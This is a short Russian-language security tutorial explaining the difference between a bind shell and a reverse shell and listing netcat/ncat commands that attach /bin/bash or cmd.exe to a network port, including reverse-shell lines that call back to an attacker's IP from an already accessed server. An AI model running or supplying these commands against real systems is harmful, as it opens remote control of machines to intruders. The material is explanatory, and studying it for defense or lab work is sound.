Shell — так называют доступ к оболочке удалённой системы. Относительно информационной безопасности, так называют доступ к оболочке, который обеспечивается бэкдором.
Эти шеллы разделают на два вида:
- Shell
- Reverse Shell (обратный шелл)
Они различаются особенностями подключения. Первый (прямой) — просто Shell — когда бэкдор прослушивает порт на удалённом компьютере в ожидании, когда на этот порт придёт подключение.
Второй (обратный) — Reverse Shell означает, что с удалённого компьютера делается запрос на машину атакующего, на которой, в свою очередь, уже запущена программа для управления бэкдором — которая также ожидает подключения от компьютера «жертвы».
Оба они имеют разные случаи использования. Прямой шелл используется если у компьютера жертвы белый IP адрес (без использования NAT). Обратный шелл используется, если удалённый компьютер находится за NAT (имеет только локальный IP адрес), либо если файервол блокирует входящие соединения — большинство файерволов настроены пропускать исходящие соединения.
В качестве бэкдоров и программ для создания шэллов могут использоваться разные инструменты, здесь я покажу как создать шелл используя легитимную программу Netcat или Ncat, которые по умолчанию установлены на многих компьютерах Linux и серверах.
На Linux
На сервере, к которому получен доступ, программа netcat может называться по-разному, частые варианты:
- netcat
- nc
- ncat
Ищите их любую из этих программ.
В последующих командах я покажу на примере ncat, если вы найдёте на удалённом компьютере netcat или nc, то в последующих командах замените исполнимый файл на них.
В Ncat
Для создания шелла на удалённом компьютере:
ncat -l -e "/bin/bash" [ПОРТ]
Для подключения к нему с локального компьютера:
ncat [IP] [ПОРТ]
Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
ncat -l [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
ncat -e "/bin/bash" [IP] [ПОРТ]
В GNU netcat, Netcat и nc
Для создания шелла на удалённом компьютере:
netcat -l -e "/bin/bash" -p [ПОРТ]
Для подключения к нему с локального компьютера:
netcat [IP] [ПОРТ]
Перед созданием обратного шелла, предварительно на локальном компьютере нужно выполнить:
netcat -l -p [ПОРТ]
Затем для создания обратного шелла с удалённого компьютера там нужно выполнить:
netcat -e "/bin/bash" [IP] [ПОРТ]
В Windows
Для создания прямого шелла:
nc -1 -p [ПОРТ] -e cmd.exe
Для создания обратного шелла (подключения до машины атакующего):
nc [IP атакующего] [ПОРТ] -e cmd.exe
Как и в случае с Linux, на машине атакующего уже должна быть запущена Ncat или другая программа для принятия входящего соединения.
Кстати, если вас заинтересовала утилита Netcat, то очень много про работу с этой программой в статье «Как пользоваться netcat (nc), ncat».